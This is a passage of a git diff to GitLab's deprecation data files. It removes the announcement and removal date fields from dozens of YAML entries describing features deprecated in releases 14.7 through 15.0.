+++ b/data/deprecations/14-7-pseudonymizer.yml
@@ -1,8 +1,6 @@
- title: "Pseudonymizer" # The name of the feature to be deprecated
announcement_milestone: "14.7" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-01-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
- removal_date: "2022-05-22" # This should almost always be the 22nd of a month (YYYY-MM-22), the date of the milestone release when this feature is planned to be removed.
body: | # Do not modify this line, instead modify the lines below.
The Pseudonymizer feature is generally unused,
can cause production issues with large databases,
diff --git a/data/deprecations/14-7-sidekiq-metrics-health-check-donfig.yml b/data/deprecations/14-7-sidekiq-metrics-health-check-donfig.yml
index 324339a45ea..3b812068b30 100644
--- a/data/deprecations/14-7-sidekiq-metrics-health-check-donfig.yml
+++ b/data/deprecations/14-7-sidekiq-metrics-health-check-donfig.yml
@@ -1,8 +1,6 @@
- title: "Sidekiq metrics and health checks configuration"
announcement_milestone: "14.7"
- announcement_date: "2021-01-22"
removal_milestone: "15.0"
- removal_date: "2022-05-22"
breaking_change: true
body: | # Do not modify this line, instead modify the lines below.
Exporting Sidekiq metrics and health checks using a single process and port is deprecated.
diff --git a/data/deprecations/14-8-Elasticsearch-6-8.yml b/data/deprecations/14-8-Elasticsearch-6-8.yml
index d9b7f607f27..3c35475c4a8 100644
--- a/data/deprecations/14-8-Elasticsearch-6-8.yml
+++ b/data/deprecations/14-8-Elasticsearch-6-8.yml
@@ -1,8 +1,6 @@
- title: "Elasticsearch 6.8"
announcement_milestone: "14.8"
- announcement_date: "2022-02-22"
removal_milestone: "15.0"
- removal_date: "2022-05-22"
breaking_change: true
body: |
Elasticsearch 6.8 is deprecated in GitLab 14.8 and scheduled for removal in GitLab 15.0.
diff --git a/data/deprecations/14-8-ci-build-variables.yml b/data/deprecations/14-8-ci-build-variables.yml
index f12f6dda5a6..1dda7e8b32a 100644
--- a/data/deprecations/14-8-ci-build-variables.yml
+++ b/data/deprecations/14-8-ci-build-variables.yml
@@ -1,8 +1,6 @@
- title: "`CI_BUILD_*` predefined variables"
announcement_milestone: "14.8"
- announcement_date: "2022-02-22"
removal_milestone: "16.0"
- removal_date: "2023-05-22"
breaking_change: true
reporter: dhershkovitch
body: |
diff --git a/data/deprecations/14-8-compliance-required-pipeline-configuration-premium.yml b/data/deprecations/14-8-compliance-required-pipeline-configuration-premium.yml
index 1b262c98d40..cd94adca75f 100644
--- a/data/deprecations/14-8-compliance-required-pipeline-configuration-premium.yml
+++ b/data/deprecations/14-8-compliance-required-pipeline-configuration-premium.yml
@@ -1,8 +1,6 @@
- title: "Required pipeline configurations in Premium tier"
announcement_milestone: "14.8"
- announcement_date: "2022-02-22"
removal_milestone: "15.0"
- removal_date: "2022-05-22"
breaking_change: true
reporter: sam.white
body: | # Do not modify this line, instead modify the lines below.
diff --git a/data/deprecations/14-8-compliance-status-check-api-field.yml b/data/deprecations/14-8-compliance-status-check-api-field.yml
index 6493905a6d5..77b12142a9a 100644
--- a/data/deprecations/14-8-compliance-status-check-api-field.yml
+++ b/data/deprecations/14-8-compliance-status-check-api-field.yml
@@ -1,8 +1,6 @@
- title: "External status check API breaking changes"
announcement_milestone: "14.8"
- announcement_date: "2022-02-22"
removal_milestone: "15.0"
- removal_date: "2022-05-22"
breaking_change: true
reporter: sam.white
body: | # Do not modify this line, instead modify the lines below.
diff --git a/data/deprecations/14-8-deprecate-projectFingerprint-from-PipelineSecurityReportFinding-GraphQL.yml b/data/deprecations/14-8-deprecate-projectFingerprint-from-PipelineSecurityReportFinding-GraphQL.yml
index f2fd11ceb28..fdd8b355dca 100644
--- a/data/deprecations/14-8-deprecate-projectFingerprint-from-PipelineSecurityReportFinding-GraphQL.yml
+++ b/data/deprecations/14-8-deprecate-projectFingerprint-from-PipelineSecurityReportFinding-GraphQL.yml
@@ -1,8 +1,6 @@
- title: "`projectFingerprint` in `PipelineSecurityReportFinding` GraphQL" # The name of the feature to be deprecated
announcement_milestone: "14.8" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-02-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
- removal_date: "2022-05-22" # The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # If this deprecation is a breaking change, set this value to true
reporter: matt_wilson # GitLab username of the person reporting the deprecation
body: | # Do not modify this line, instead modify the lines below.
diff --git a/data/deprecations/14-8-deprecation-secure-dependency-scanning-retire-js.yml b/data/deprecations/14-8-deprecation-secure-dependency-scanning-retire-js.yml
index 070262707a9..0deb0e9e788 100644
--- a/data/deprecations/14-8-deprecation-secure-dependency-scanning-retire-js.yml
+++ b/data/deprecations/14-8-deprecation-secure-dependency-scanning-retire-js.yml
@@ -1,6 +1,5 @@
- title: "Retire-JS Dependency Scanning tool" # The name of the feature to be deprecated
announcement_milestone: "14.8" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-02-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
breaking_change: true
body: | # Do not modify this line, instead modify the lines below.
@@ -14,4 +13,3 @@
documentation_url: https://docs.gitlab.com/ee/user/application_security/dependency_scanning/analyzers.html # (optional) This is a link to the current documentation page
image_url: # (optional) This is a link to a thumbnail image depicting the feature
video_url: # (optional) Use the youtube thumbnail URL with the structure of https://img.youtube.com/vi/UNIQUEID/hqdefault.jpg
- removal_date: "2022-05-22" # (optional - may be required in the future) YYYY-MM-DD format. This should almost always be the 22nd of a month (YYYY-MM-22), the date of the milestone release when this feature is planned to be removed
diff --git a/data/deprecations/14-8-enforce-pat-expiration.yml b/data/deprecations/14-8-enforce-pat-expiration.yml
index 6f165bbdb19..37cf4d827d1 100644
--- a/data/deprecations/14-8-enforce-pat-expiration.yml
+++ b/data/deprecations/14-8-enforce-pat-expiration.yml
@@ -1,8 +1,6 @@
- title: "Optional enforcement of PAT expiration" # The name of the feature to be deprecated
announcement_milestone: "14.8" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-02-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
- removal_date: "2022-05-22" # The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # If this deprecation is a breaking change, set this value to true
reporter: djensen # GitLab username of the person reporting the deprecation
body: | # Do not modify this line, instead modify the lines below.
diff --git a/data/deprecations/14-8-enforce-ssh-expiration.yml b/data/deprecations/14-8-enforce-ssh-expiration.yml
index d772adf1b4c..6a67eee4b5f 100644
--- a/data/deprecations/14-8-enforce-ssh-expiration.yml
+++ b/data/deprecations/14-8-enforce-ssh-expiration.yml
@@ -1,8 +1,6 @@
- title: "Optional enforcement of SSH expiration" # The name of the feature to be deprecated
announcement_milestone: "14.8" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-02-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
- removal_date: "2022-05-22" # The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # If this deprecation is a breaking change, set this value to true
reporter: djensen # GitLab username of the person reporting the deprecation
body: | # Do not modify this line, instead modify the lines below.
diff --git a/data/deprecations/14-8-geo-deprecate-db-rake-tasks.yml b/data/deprecations/14-8-geo-deprecate-db-rake-tasks.yml
index 0390632968a..333ae5b3a75 100644
--- a/data/deprecations/14-8-geo-deprecate-db-rake-tasks.yml
+++ b/data/deprecations/14-8-geo-deprecate-db-rake-tasks.yml
@@ -1,8 +1,6 @@
- title: "Deprecate custom Geo:db:* Rake tasks"
announcement_milestone: "14.8"
- announcement_date: "2022-02-22"
removal_milestone: "15.0"
- removal_date: "2022-05-22"
breaking_change: false
reporter: nhxnguyen
body: |
diff --git a/data/deprecations/14-8-geo-deprecate-replication-detail-routes.yml b/data/deprecations/14-8-geo-deprecate-replication-detail-routes.yml
index c4a4117f0cd..84f502b2089 100644
--- a/data/deprecations/14-8-geo-deprecate-replication-detail-routes.yml
+++ b/data/deprecations/14-8-geo-deprecate-replication-detail-routes.yml
@@ -1,8 +1,6 @@
- title: "Deprecate Geo Admin UI Routes"
announcement_milestone: "14.8"
- announcement_date: "2022-02-22"
removal_milestone: "15.0"
- removal_date: "2022-05-22"
breaking_change: false
reporter: nhxnguyen
body: |
diff --git a/data/deprecations/14-8-gitaly-deprecate-legacy-config-options.yml b/data/deprecations/14-8-gitaly-deprecate-legacy-config-options.yml
index 0273559a268..68ef00e5cd9 100644
--- a/data/deprecations/14-8-gitaly-deprecate-legacy-config-options.yml
+++ b/data/deprecations/14-8-gitaly-deprecate-legacy-config-options.yml
@@ -1,8 +1,6 @@
- title: "Deprecate legacy Gitaly configuration methods" # The name of the feature to be deprecated
announcement_milestone: "14.8" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-02-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
- removal_date: "2022-05-22" # The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # If this deprecation is a breaking change, set this value to true
reporter: mjwood # GitLab username of the person reporting the deprecation
body: | # Do not modify this line, instead modify the lines below.
diff --git a/data/deprecations/14-8-gitaly-remove-per-repository-election.yml b/data/deprecations/14-8-gitaly-remove-per-repository-election.yml
index 88412780048..e2d9eafe0e1 100644
--- a/data/deprecations/14-8-gitaly-remove-per-repository-election.yml
+++ b/data/deprecations/14-8-gitaly-remove-per-repository-election.yml
@@ -1,8 +1,6 @@
- title: "Configurable Gitaly `per_repository` election strategy" # The name of the feature to be deprecated
announcement_milestone: "14.8" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-02-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "14.9" # The milestone when this feature is planned to be removed
- removal_date: "2022-03-22" # The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: false # If this deprecation is a breaking change, set this value to true
reporter: mjwood # GitLab username of the person reporting the deprecation
body: | # Do not modify this line, instead modify the lines below.
diff --git a/data/deprecations/14-8-graphql-ids.yml b/data/deprecations/14-8-graphql-ids.yml
index 599748652f6..03987176e33 100644
--- a/data/deprecations/14-8-graphql-ids.yml
+++ b/data/deprecations/14-8-graphql-ids.yml
@@ -1,8 +1,6 @@
- title: "GraphQL ID and GlobalID compatibility"
announcement_milestone: "14.8"
- announcement_date: "2022-02-22"
removal_milestone: "15.0"
- removal_date: "2022-05-22"
breaking_change: true
reporter: alexkalderimis
body: | # Do not modify this line, instead modify the lines below.
diff --git a/data/deprecations/14-8-grpc-proxy.yml b/data/deprecations/14-8-grpc-proxy.yml
index 9f7a044d154..d2787d5d449 100644
--- a/data/deprecations/14-8-grpc-proxy.yml
+++ b/data/deprecations/14-8-grpc-proxy.yml
@@ -1,8 +1,6 @@
- title: "Support for gRPC-aware proxy deployed between Gitaly and rest of GitLab"
announcement_milestone: "14.8" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-02-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
- removal_date: "2022-05-22" # The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # If this deprecation is a breaking change, set this value to true
reporter: jacobvosmaer-gitlab # GitLab username of the person reporting the deprecation
body: | # Do not modify this line, instead modify the lines below.
diff --git a/data/deprecations/14-8-iteration-started-field.yml b/data/deprecations/14-8-iteration-started-field.yml
index a4401632682..a3c693001c1 100644
--- a/data/deprecations/14-8-iteration-started-field.yml
+++ b/data/deprecations/14-8-iteration-started-field.yml
@@ -1,8 +1,6 @@
- title: "`started` iterations API field" # The name of the feature to be deprecated
announcement_milestone: "14.8" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-02-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
- removal_date: "2022-05-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # If this deprecation is a breaking change, set this value to true
body: | # Do not modify this line, instead modify the lines below.
The `started` field in the [iterations API](https://docs.gitlab.com/ee/api/iterations.html#list-project-iterations) is being deprecated and will be removed in GitLab 15.0. This field is being replaced with the `current` field (already available) which aligns with the naming for other time-based entities, such as milestones.
diff --git a/data/deprecations/14-8-protect-cns-chs.yml b/data/deprecations/14-8-protect-cns-chs.yml
index 098b571f9fb..7f0befa77c5 100644
--- a/data/deprecations/14-8-protect-cns-chs.yml
+++ b/data/deprecations/14-8-protect-cns-chs.yml
@@ -1,8 +1,6 @@
- title: "Container Network and Host Security"
announcement_milestone: "14.8"
- announcement_date: "2022-02-22"
removal_milestone: "15.0"
- removal_date: "2022-05-22"
breaking_change: true
reporter: sam.white
body: | # Do not modify this line, instead modify the lines below.
diff --git a/data/deprecations/14-8-protect-vulnerability-check.yml b/data/deprecations/14-8-protect-vulnerability-check.yml
index 737756ae8ac..fd8e467d222 100644
--- a/data/deprecations/14-8-protect-vulnerability-check.yml
+++ b/data/deprecations/14-8-protect-vulnerability-check.yml
@@ -1,8 +1,6 @@
- title: "Vulnerability Check"
announcement_milestone: "14.8"
- announcement_date: "2022-02-22"
removal_milestone: "15.0"
- removal_date: "2022-05-22"
breaking_change: true
reporter: sam.white
body: | # Do not modify this line, instead modify the lines below.
diff --git a/data/deprecations/14-8-remove_ff_push_rules_supersede_code_owners.yml b/data/deprecations/14-8-remove_ff_push_rules_supersede_code_owners.yml
index 24e192e7f33..b43671c4969 100644
--- a/data/deprecations/14-8-remove_ff_push_rules_supersede_code_owners.yml
+++ b/data/deprecations/14-8-remove_ff_push_rules_supersede_code_owners.yml
@@ -1,8 +1,6 @@
- title: "Deprecate feature flag PUSH_RULES_SUPERSEDE_CODE_OWNERS" # The name of the feature to be deprecated
announcement_milestone: "14.8" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-02-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
- removal_date: "2022-05-22" # The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # If this deprecation is a breaking change, set this value to true
reporter: sarahwaldner # GitLab username of the person reporting the deprecation
body: | # Do not modify this line, instead modify the lines below.
diff --git a/data/deprecations/14-8-request-profiling.yml b/data/deprecations/14-8-request-profiling.yml
index eb7ab356d27..ed080993abc 100644
--- a/data/deprecations/14-8-request-profiling.yml
+++ b/data/deprecations/14-8-request-profiling.yml
@@ -1,8 +1,6 @@
- title: "Request profiling"
announcement_milestone: "14.8"
- announcement_date: "2022-02-22"
removal_milestone: "15.0"
- removal_date: "2022-05-22"
breaking_change: true
reporter: iroussos
body: | # Do not modify this line, instead modify the lines below.
diff --git a/data/deprecations/14-8-runner-api-active-field-replaced-with-paused-breaking-change.yml b/data/deprecations/14-8-runner-api-active-field-replaced-with-paused-breaking-change.yml
index a8173a80047..22cc199c704 100644
--- a/data/deprecations/14-8-runner-api-active-field-replaced-with-paused-breaking-change.yml
+++ b/data/deprecations/14-8-runner-api-active-field-replaced-with-paused-breaking-change.yml
@@ -1,8 +1,6 @@
- title: "REST and GraphQL API Runner usage of `active` replaced by `paused`"
announcement_milestone: "14.8"
- announcement_date: "2022-02-22"
removal_milestone: "16.0"
- removal_date: "2023-05-22"
breaking_change: true
reporter: pedropombeiro
body: |
diff --git a/data/deprecations/14-8-runner-api-status-filter-does-accept-active-or-paused.yml b/data/deprecations/14-8-runner-api-status-filter-does-accept-active-or-paused.yml
index cf0476ae768..ce372a36f69 100644
--- a/data/deprecations/14-8-runner-api-status-filter-does-accept-active-or-paused.yml
+++ b/data/deprecations/14-8-runner-api-status-filter-does-accept-active-or-paused.yml
@@ -1,8 +1,6 @@
- title: "GraphQL API Runner will not accept `status` filter values of `active` or `paused`"
announcement_milestone: "14.8" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-02-22"
removal_milestone: "16.0"
- removal_date: "2023-05-22"
breaking_change: true
body: | # Do not modify this line, instead modify the lines below.
The GitLab Runner GraphQL endpoints will stop accepting `paused` or `active` as a status value in GitLab 16.0.
diff --git a/data/deprecations/14-8-sast-analyzer-removals.yml b/data/deprecations/14-8-sast-analyzer-removals.yml
index 0ad3920669a..3ebfd23beb5 100644
--- a/data/deprecations/14-8-sast-analyzer-removals.yml
+++ b/data/deprecations/14-8-sast-analyzer-removals.yml
@@ -1,8 +1,6 @@
- title: "SAST analyzer consolidation and CI/CD template changes"
announcement_milestone: "14.8"
- announcement_date: "2022-02-22"
removal_milestone: "15.4"
- removal_date: "2022-09-22"
breaking_change: true
reporter: connorgilbert
body: | # Do not modify this line, instead modify the lines below.
diff --git a/data/deprecations/14-8-sast-dotnet-21.yml b/data/deprecations/14-8-sast-dotnet-21.yml
index 1a09329244d..581c579e90a 100644
--- a/data/deprecations/14-8-sast-dotnet-21.yml
+++ b/data/deprecations/14-8-sast-dotnet-21.yml
@@ -1,8 +1,6 @@
- title: "SAST support for .NET 2.1"
announcement_milestone: "14.8"
- announcement_date: "2022-02-22"
removal_milestone: "15.0"
- removal_date: "2022-05-22"
breaking_change: true
reporter: connorgilbert
body: | # Do not modify this line, instead modify the lines below.
diff --git a/data/deprecations/14-8-sast-secret-analyzer-image.yml b/data/deprecations/14-8-sast-secret-analyzer-image.yml
index e774941ace4..113fd9bb1bc 100644
--- a/data/deprecations/14-8-sast-secret-analyzer-image.yml
+++ b/data/deprecations/14-8-sast-secret-analyzer-image.yml
@@ -1,8 +1,6 @@
- title: "Secure and Protect analyzer images published in new location"
announcement_milestone: "14.8"
- announcement_date: "2022-02-22"
removal_milestone: "15.0"
- removal_date: "2022-05-22"
breaking_change: true
reporter: connorgilbert
body: | # Do not modify this line, instead modify the lines below.
diff --git a/data/deprecations/14-8-sast-spotbugs-java-8.yml b/data/deprecations/14-8-sast-spotbugs-java-8.yml
index 58d1e205aad..75e4ffc94bc 100644
--- a/data/deprecations/14-8-sast-spotbugs-java-8.yml
+++ b/data/deprecations/14-8-sast-spotbugs-java-8.yml
@@ -1,8 +1,6 @@
- title: "Out-of-the-box SAST support for Java 8"
announcement_milestone: "14.8"
- announcement_date: "2022-02-22"
removal_milestone: "15.0"
- removal_date: "2022-05-22"
breaking_change: true
reporter: connorgilbert
body: | # Do not modify this line, instead modify the lines below.
diff --git a/data/deprecations/14-8-secret-detection-configurations.yml b/data/deprecations/14-8-secret-detection-configurations.yml
index 8078d7c6fa0..1b4197c2792 100644
--- a/data/deprecations/14-8-secret-detection-configurations.yml
+++ b/data/deprecations/14-8-secret-detection-configurations.yml
@@ -1,8 +1,6 @@
- title: "Secret Detection configuration variables deprecated"
announcement_milestone: "14.8"
- announcement_date: "2022-02-22"
removal_milestone: "15.0"
- removal_date: "2022-05-22"
breaking_change: false
reporter: connorgilbert
body: | # Do not modify this line, instead modify the lines below.
diff --git a/data/deprecations/14-8-secure-and-protect-analyzer-bump.yml b/data/deprecations/14-8-secure-and-protect-analyzer-bump.yml
index e1616cd1f6e..2db3d7190cc 100644
--- a/data/deprecations/14-8-secure-and-protect-analyzer-bump.yml
+++ b/data/deprecations/14-8-secure-and-protect-analyzer-bump.yml
@@ -1,8 +1,6 @@
- title: "Secure and Protect analyzer major version update" # The name of the feature to be deprecated
announcement_milestone: "14.8" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-02-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
- removal_date: "2022-05-22" # The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # If this deprecation is a breaking change, set this value to true
reporter: NicoleSchwartz # GitLab username of the person reporting the deprecation
body: | # Do not modify this line, instead modify the lines below.
diff --git a/data/deprecations/14-8-secure-ca-python-deprecation.yml b/data/deprecations/14-8-secure-ca-python-deprecation.yml
index fab7455fe1c..79d1fb4cd34 100644
--- a/data/deprecations/14-8-secure-ca-python-deprecation.yml
+++ b/data/deprecations/14-8-secure-ca-python-deprecation.yml
@@ -1,8 +1,6 @@
- title: "Dependency Scanning Python 3.9 and 3.6 image deprecation" # The name of the feature to be deprecated
announcement_milestone: "14.8" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2021-02-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
- removal_date: "2022-05-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # If this deprecation is a breaking change, set this value to true
body: | # Do not modify this line, instead modify the lines below.
For those using Dependency Scanning for Python projects, we are deprecating the default `gemnasium-python:2` image which uses Python 3.6 as well as the custom `gemnasium-python:2-python-3.9` image which uses Python 3.9. The new default image as of GitLab 15.0 will be for Python 3.9 as it is a [supported version](https://endoflife.date/python) and 3.6 [is no longer supported](https://endoflife.date/python).
diff --git a/data/deprecations/14-9-background-upload.yml b/data/deprecations/14-9-background-upload.yml
index e336cb7d39c..ece2f7d0fdc 100644
--- a/data/deprecations/14-9-background-upload.yml
+++ b/data/deprecations/14-9-background-upload.yml
@@ -1,8 +1,6 @@
- title: "Background upload for object storage"
announcement_milestone: "14.9"
- announcement_date: "2022-03-22"
removal_milestone: "15.0"
- removal_date: "2022-05-22"
breaking_change: true
reporter: fzimmer
body: | # Do not modify this line, instead modify the lines below.
diff --git a/data/deprecations/14-9-deprecate-composer-download-permissions.yml b/data/deprecations/14-9-deprecate-composer-download-permissions.yml
index 47e1502c466..22b2bc2b585 100644
--- a/data/deprecations/14-9-deprecate-composer-download-permissions.yml
+++ b/data/deprecations/14-9-deprecate-composer-download-permissions.yml
@@ -1,8 +1,6 @@
- title: "Permissions change for downloading Composer dependencies"
announcement_milestone: "14.9"
- announcement_date: "2022-03-22"
removal_milestone: "14.10"
- removal_date: "2022-04-22"
breaking_change: true
reporter: trizzi
body: | # Do not modify this line, instead modify the lines below.
diff --git a/data/deprecations/14-9-deprecate-debian-9.yml b/data/deprecations/14-9-deprecate-debian-9.yml
index 7057ceb4176..11ffc640489 100644
--- a/data/deprecations/14-9-deprecate-debian-9.yml
+++ b/data/deprecations/14-9-deprecate-debian-9.yml
@@ -1,7 +1,5 @@
- title: "Deprecate support for Debian 9"
announcement_milestone: "14.9"
- announcement_date: "2022-03-22"
removal_milestone: "15.1"
- removal_date: "2022-06-22"
body: |
Long term service and support (LTSS) for [Debian 9 Stretch ends in July 2022](https://wiki.debian.org/LTS). Therefore, we will no longer support the Debian 9 distribution for the GitLab package. Users can upgrade to Debian 10 or Debian 11.
diff --git a/data/deprecations/14-9-deprecate-permissions-change-package-settings.yml b/data/deprecations/14-9-deprecate-permissions-change-package-settings.yml
index 9e6da8c8776..8f2aaf3b743 100644
--- a/data/deprecations/14-9-deprecate-permissions-change-package-settings.yml
+++ b/data/deprecations/14-9-deprecate-permissions-change-package-settings.yml
@@ -1,8 +1,6 @@
- title: "GraphQL permissions change for Package settings"
announcement_milestone: "14.9"
- announcement_date: "2022-03-22"
removal_milestone: "15.0"
- removal_date: "2022-05-22"
breaking_change: true
reporter: trizzi
body: | # Do not modify this line, instead modify the lines below.
diff --git a/data/deprecations/14-9-deprecate-testcoveragesetting.yml b/data/deprecations/14-9-deprecate-testcoveragesetting.yml
index 9532a34b568..1f50aab1c27 100644
--- a/data/deprecations/14-9-deprecate-testcoveragesetting.yml
+++ b/data/deprecations/14-9-deprecate-testcoveragesetting.yml
@@ -1,8 +1,6 @@
- title: "Test coverage project CI/CD setting" # The name of the feature to be deprecated
announcement_milestone: "14.8" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-02-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
- removal_date: "2022-05-22" # The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # If this deprecation is a breaking change, set this value to true
reporter: jreporter # GitLab username of the person reporting the deprecation
body: | # Do not modify this line, instead modify the lines below.
diff --git a/data/deprecations/14-9-deprecation-htpassword-authentication-container-registry.yml b/data/deprecations/14-9-deprecation-htpassword-authentication-container-registry.yml
index 0090a960417..9dbe6c24968 100644
--- a/data/deprecations/14-9-deprecation-htpassword-authentication-container-registry.yml
+++ b/data/deprecations/14-9-deprecation-htpassword-authentication-container-registry.yml
@@ -1,8 +1,6 @@
- title: "htpasswd Authentication for the Container Registry"
announcement_milestone: "14.9"
- announcement_date: "2022-03-22"
removal_milestone: "15.0"
- removal_date: "2022-05-22"
breaking_change: true
reporter: trizzi
body: | # Do not modify this line, instead modify the lines below.
diff --git a/data/deprecations/14-9-global-search-deprecate-user-email-lookup-limit.yml b/data/deprecations/14-9-global-search-deprecate-user-email-lookup-limit.yml
index f69ac6e9a82..667995981e2 100644
--- a/data/deprecations/14-9-global-search-deprecate-user-email-lookup-limit.yml
+++ b/data/deprecations/14-9-global-search-deprecate-user-email-lookup-limit.yml
@@ -1,8 +1,6 @@
- title: "user_email_lookup_limit API field"
announcement_milestone: "14.9"
- announcement_date: "2022-03-22"
removal_milestone: "15.0"
- removal_date: "2022-05-22"
breaking_change: true
reporter: fzimmer
body: | # Do not modify this line, instead modify the lines below.
diff --git a/data/deprecations/14-9-pages-daemon.yml b/data/deprecations/14-9-pages-daemon.yml
index 827daf18c21..1e2a1c998ad 100644
--- a/data/deprecations/14-9-pages-daemon.yml
+++ b/data/deprecations/14-9-pages-daemon.yml
@@ -1,8 +1,6 @@
- title: "GitLab Pages running as daemon" # The name of the feature to be deprecated
announcement_milestone: "14.9" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-03-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
- removal_date: "2022-05-22" # The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: false # If this deprecation is a breaking change, set this value to true
reporter: cbalane # GitLab username of the person reporting the deprecation
body: | # Do not modify this line, instead modify the lines below.
diff --git a/data/deprecations/14-9-system_monitoring.yml b/data/deprecations/14-9-system_monitoring.yml
index 10d0a6db422..a621619f375 100644
--- a/data/deprecations/14-9-system_monitoring.yml
+++ b/data/deprecations/14-9-system_monitoring.yml
@@ -1,8 +1,6 @@
- title: "GitLab self-monitoring project" # The name of the feature to be deprecated
announcement_milestone: "14.9" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-03-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "16.0" # The milestone when this feature is planned to be removed
- removal_date: "2023-05-22" # The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # If this deprecation is a breaking change, set this value to true
reporter: abellucci # GitLab username of the person reporting the deprecation
body: | # Do not modify this line, instead modify the lines below.
diff --git a/data/deprecations/15-0-ci-cd-settings-update-mutation-renamed.yml b/data/deprecations/15-0-ci-cd-settings-update-mutation-renamed.yml
index 4f8fc40fd73..b506816a54b 100644
--- a/data/deprecations/15-0-ci-cd-settings-update-mutation-renamed.yml
+++ b/data/deprecations/15-0-ci-cd-settings-update-mutation-renamed.yml
@@ -1,8 +1,6 @@
- title: "CiCdSettingsUpdate mutation renamed to ProjectCiCdSettingsUpdate"
announcement_milestone: "15.0"
- announcement_date: "2022-05-22"
removal_milestone: "16.0"
- removal_date: "2023-05-22"
breaking_change: true
reporter: pedropombeiro
stage: Verify
diff --git a/data/deprecations/15-0-deprecate-monitor-logging.yml b/data/deprecations/15-0-deprecate-monitor-logging.yml
index 62f889e666f..e7a77dd1c14 100644
--- a/data/deprecations/15-0-deprecate-monitor-logging.yml
+++ b/data/deprecations/15-0-deprecate-monitor-logging.yml
@@ -1,8 +1,6 @@
- title: "Logging in GitLab" # The name of the feature to be deprecated
announcement_milestone: "14.7" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-01-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
